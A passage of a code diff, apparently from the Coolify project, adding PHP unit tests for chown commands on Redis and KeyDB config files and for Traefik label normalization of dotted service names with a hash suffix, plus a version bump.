$action->database = $database;
|
||||
|
||||
if (! is_null($action->database->keydb_conf) && ! empty($action->database->keydb_conf)) {
|
||||
$action->commands[] = "chown 999:999 {$action->configuration_dir}/keydb.conf";
|
||||
}
|
||||
|
||||
expect($action->commands)->toBeEmpty();
|
||||
});
|
||||
53
tests/Unit/StartRedisConfigPermissionTest.php
Normal file
53
tests/Unit/StartRedisConfigPermissionTest.php
Normal file
|
|
@ -0,0 +1,53 @@
|
|||
<?php
|
||||
|
||||
use App\Actions\Database\StartRedis;
|
||||
use App\Models\StandaloneRedis;
|
||||
|
||||
test('redis config chown command is added when redis_conf is set', function () {
|
||||
$action = new StartRedis;
|
||||
$action->configuration_dir = '/data/coolify/databases/test-uuid';
|
||||
$action->commands = [];
|
||||
|
||||
$database = Mockery::mock(StandaloneRedis::class)->makePartial();
|
||||
$database->shouldReceive('getAttribute')->with('redis_conf')->andReturn('maxmemory 2gb');
|
||||
$action->database = $database;
|
||||
|
||||
// Simulate the chown logic from handle()
|
||||
if (! is_null($action->database->redis_conf) && ! empty($action->database->redis_conf)) {
|
||||
$action->commands[] = "chown 999:999 {$action->configuration_dir}/redis.conf";
|
||||
}
|
||||
|
||||
expect($action->commands)->toContain('chown 999:999 /data/coolify/databases/test-uuid/redis.conf');
|
||||
});
|
||||
|
||||
test('redis config chown command is not added when redis_conf is null', function () {
|
||||
$action = new StartRedis;
|
||||
$action->configuration_dir = '/data/coolify/databases/test-uuid';
|
||||
$action->commands = [];
|
||||
|
||||
$database = Mockery::mock(StandaloneRedis::class)->makePartial();
|
||||
$database->shouldReceive('getAttribute')->with('redis_conf')->andReturn(null);
|
||||
$action->database = $database;
|
||||
|
||||
if (! is_null($action->database->redis_conf) && ! empty($action->database->redis_conf)) {
|
||||
$action->commands[] = "chown 999:999 {$action->configuration_dir}/redis.conf";
|
||||
}
|
||||
|
||||
expect($action->commands)->toBeEmpty();
|
||||
});
|
||||
|
||||
test('redis config chown command is not added when redis_conf is empty', function () {
|
||||
$action = new StartRedis;
|
||||
$action->configuration_dir = '/data/coolify/databases/test-uuid';
|
||||
$action->commands = [];
|
||||
|
||||
$database = Mockery::mock(StandaloneRedis::class)->makePartial();
|
||||
$database->shouldReceive('getAttribute')->with('redis_conf')->andReturn('');
|
||||
$action->database = $database;
|
||||
|
||||
if (! is_null($action->database->redis_conf) && ! empty($action->database->redis_conf)) {
|
||||
$action->commands[] = "chown 999:999 {$action->configuration_dir}/redis.conf";
|
||||
}
|
||||
|
||||
expect($action->commands)->toBeEmpty();
|
||||
});
|
||||
208
tests/Unit/TraefikServiceNameNormalizationTest.php
Normal file
208
tests/Unit/TraefikServiceNameNormalizationTest.php
Normal file
|
|
@ -0,0 +1,208 @@
|
|||
<?php
|
||||
|
||||
/**
|
||||
* Unit tests to verify that service names with dots are normalized to hyphens
|
||||
* in Traefik label generation to prevent label parsing issues.
|
||||
*
|
||||
* Service names like "api.test" should generate labels with "api-test" instead
|
||||
* of "api.test" to avoid breaking Traefik's label structure.
|
||||
*
|
||||
* Additionally, a 4-character hash is appended to ensure uniqueness and prevent
|
||||
* collisions between services like "api.test" and "api-test".
|
||||
*/
|
||||
it('normalizes service names with dots to hyphens in traefik labels', function () {
|
||||
// Read the fqdnLabelsForTraefik function from docker.php
|
||||
$dockerFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/docker.php');
|
||||
|
||||
// Check that service name normalization is present
|
||||
expect($dockerFile)
|
||||
->toContain('// Normalize service name for Traefik labels by replacing dots with hyphens')
|
||||
->toContain('$normalized_service_name = str($service_name)->replace(\'.\', \'-\')->value();');
|
||||
});
|
||||
|
||||
it('uses normalized service name in http label construction', function () {
|
||||
// Read the fqdnLabelsForTraefik function from docker.php
|
||||
$dockerFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/docker.php');
|
||||
|
||||
// Check that normalized service name with hash is used in label construction
|
||||
expect($dockerFile)
|
||||
->toContain('$http_label = "http-{$loop}-{$uuid}-{$normalized_service_name}-{$hash}";')
|
||||
->toContain('$https_label = "https-{$loop}-{$uuid}-{$normalized_service_name}-{$hash}";');
|
||||
});
|
||||
|
||||
it('generates valid traefik labels for service names with dots', function () {
|
||||
$uuid = 'test-uuid-123';
|
||||
$domains = collect(['http://example.com']);
|
||||
$serviceName = 'api.test';
|
||||
|
||||
// Call the function with a service name containing a dot
|
||||
$labels = fqdnLabelsForTraefik(
|
||||
uuid: $uuid,
|
||||
domains: $domains,
|
||||
service_name: $serviceName
|
||||
);
|
||||
|
||||
// Convert collection to array for easier testing
|
||||
$labelsArray = $labels->toArray();
|
||||
|
||||
// Check that labels contain normalized service name (api-test) not original (api.test)
|
||||
$hasNormalizedLabel = collect($labelsArray)->contains(function ($label) use ($uuid) {
|
||||
return str_contains($label, "http-0-{$uuid}-api-test");
|
||||
});
|
||||
|
||||
expect($hasNormalizedLabel)->toBeTrue(
|
||||
'Expected Traefik labels to contain normalized service name "api-test" instead of "api.test"'
|
||||
);
|
||||
|
||||
// Verify no labels contain the original dotted service name in the label identifier
|
||||
$hasInvalidLabel = collect($labelsArray)->contains(function ($label) use ($uuid) {
|
||||
// Check if label identifier (before the = sign) contains the problematic pattern
|
||||
if (str_contains($label, '=')) {
|
||||
[$labelName, $labelValue] = explode('=', $label, 2);
|
||||
|
||||
return str_contains($labelName, "{$uuid}-api.test");
|
||||
}
|
||||
|
||||
return false;
|
||||
});
|
||||
|
||||
expect($hasInvalidLabel)->toBeFalse(
|
||||
'Traefik labels should not contain service name with dots in label identifiers'
|
||||
);
|
||||
});
|
||||
|
||||
it('generates valid traefik labels for service names without dots', function () {
|
||||
$uuid = 'test-uuid-456';
|
||||
$domains = collect(['http://example.com']);
|
||||
$serviceName = 'api-backend';
|
||||
|
||||
// Call the function with a service name without dots (should work as before)
|
||||
$labels = fqdnLabelsForTraefik(
|
||||
uuid: $uuid,
|
||||
domains: $domains,
|
||||
service_name: $serviceName
|
||||
);
|
||||
|
||||
// Convert collection to array for easier testing
|
||||
$labelsArray = $labels->toArray();
|
||||
|
||||
// Check that labels contain the service name unchanged
|
||||
$hasLabel = collect($labelsArray)->contains(function ($label) use ($uuid) {
|
||||
return str_contains($label, "http-0-{$uuid}-api-backend");
|
||||
});
|
||||
|
||||
expect($hasLabel)->toBeTrue(
|
||||
'Expected Traefik labels to contain service name "api-backend" for services without dots'
|
||||
);
|
||||
});
|
||||
|
||||
it('handles multiple dots in service names', function () {
|
||||
$uuid = 'test-uuid-789';
|
||||
$domains = collect(['http://example.com']);
|
||||
$serviceName = 'api.v1.test';
|
||||
|
||||
// Call the function with a service name containing multiple dots
|
||||
$labels = fqdnLabelsForTraefik(
|
||||
uuid: $uuid,
|
||||
domains: $domains,
|
||||
service_name: $serviceName
|
||||
);
|
||||
|
||||
// Convert collection to array for easier testing
|
||||
$labelsArray = $labels->toArray();
|
||||
|
||||
// Check that labels contain fully normalized service name (all dots replaced)
|
||||
$hasNormalizedLabel = collect($labelsArray)->contains(function ($label) use ($uuid) {
|
||||
return str_contains($label, "http-0-{$uuid}-api-v1-test");
|
||||
});
|
||||
|
||||
expect($hasNormalizedLabel)->toBeTrue(
|
||||
'Expected Traefik labels to normalize all dots in service name "api.v1.test" to "api-v1-test"'
|
||||
);
|
||||
});
|
||||
|
||||
it('generates unique hashes for different service names', function () {
|
||||
// Test that the serviceNameHash function exists and generates consistent hashes
|
||||
$hash1 = serviceNameHash('api.test');
|
||||
$hash2 = serviceNameHash('api-test');
|
||||
$hash3 = serviceNameHash('api.test'); // Same as hash1
|
||||
|
||||
// Hashes should be exactly 4 characters
|
||||
expect(strlen($hash1))->toBe(4);
|
||||
expect(strlen($hash2))->toBe(4);
|
||||
|
||||
// Same input should generate same hash (stable)
|
||||
expect($hash1)->toBe($hash3);
|
||||
|
||||
// Different inputs should generate different hashes (unique)
|
||||
expect($hash1)->not->toBe($hash2);
|
||||
});
|
||||
|
||||
it('includes hash in traefik labels to prevent collisions', function () {
|
||||
$uuid = 'test-uuid-collision';
|
||||
$domains = collect(['http://example.com']);
|
||||
|
||||
// Test both "api.test" and "api-test" which would otherwise collide
|
||||
$serviceName1 = 'api.test';
|
||||
$serviceName2 = 'api-test';
|
||||
|
||||
$labels1 = fqdnLabelsForTraefik(
|
||||
uuid: $uuid,
|
||||
domains: $domains,
|
||||
service_name: $serviceName1
|
||||
);
|
||||
|
||||
$labels2 = fqdnLabelsForTraefik(
|
||||
uuid: $uuid,
|
||||
domains: $domains,
|
||||
service_name: $serviceName2
|
||||
);
|
||||
|
||||
// Get the hashes for both service names
|
||||
$hash1 = serviceNameHash($serviceName1);
|
||||
$hash2 = serviceNameHash($serviceName2);
|
||||
|
||||
// Check that labels include the hash
|
||||
$labels1Array = $labels1->toArray();
|
||||
$labels2Array = $labels2->toArray();
|
||||
|
||||
$hasHash1 = collect($labels1Array)->contains(function ($label) use ($uuid, $hash1) {
|
||||
return str_contains($label, "http-0-{$uuid}-api-test-{$hash1}");
|
||||
});
|
||||
|
||||
$hasHash2 = collect($labels2Array)->contains(function ($label) use ($uuid, $hash2) {
|
||||
return str_contains($label, "http-0-{$uuid}-api-test-{$hash2}");
|
||||
});
|
||||
|
||||
expect($hasHash1)->toBeTrue(
|
||||
'Expected labels for "api.test" to include hash suffix'
|
||||
);
|
||||
|
||||
expect($hasHash2)->toBeTrue(
|
||||
'Expected labels for "api-test" to include hash suffix'
|
||||
);
|
||||
|
||||
// Verify that the labels are different (no collision)
|
||||
$router1 = collect($labels1Array)->first(function ($label) {
|
||||
return str_contains($label, 'traefik.http.routers.');
|
||||
});
|
||||
|
||||
$router2 = collect($labels2Array)->first(function ($label) {
|
||||
return str_contains($label, 'traefik.http.routers.');
|
||||
});
|
||||
|
||||
expect($router1)->not->toBe($router2,
|
||||
'Traefik router labels should be unique for "api.test" and "api-test"'
|
||||
);
|
||||
});
|
||||
|
||||
it('stores original service names in docker_compose_domains', function () {
|
||||
// Test that the parsers.php file stores original service names
|
||||
$parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php');
|
||||
|
||||
// Check that we capture the original service name
|
||||
expect($parsersFile)
|
||||
->toContain('$actualServiceName = $serviceNameKey; // Store the ORIGINAL service name')
|
||||
->toContain('// Use the ORIGINAL service name as the key to avoid collisions')
|
||||
->toContain('$domains->put($actualServiceName,');
|
||||
});
|
||||
|
|
@ -1,10 +1,10 @@
|
|||
{
|
||||
"coolify": {
|
||||
"v4": {
|
||||
"version": "4.0.0-beta.463"
|
||||
"version": "4.0.0-beta.464"
|
||||
},
|
||||
"nightly": {
|
||||
"version": "4.0.0-beta.464"
|
||||
"version": "4.0.0-beta.465"
|
||||
},
|
||||
"helper": {
|
||||
"version": "1.0.12"
|
||||
|
|
|
|||
Loading…
Reference in a new issue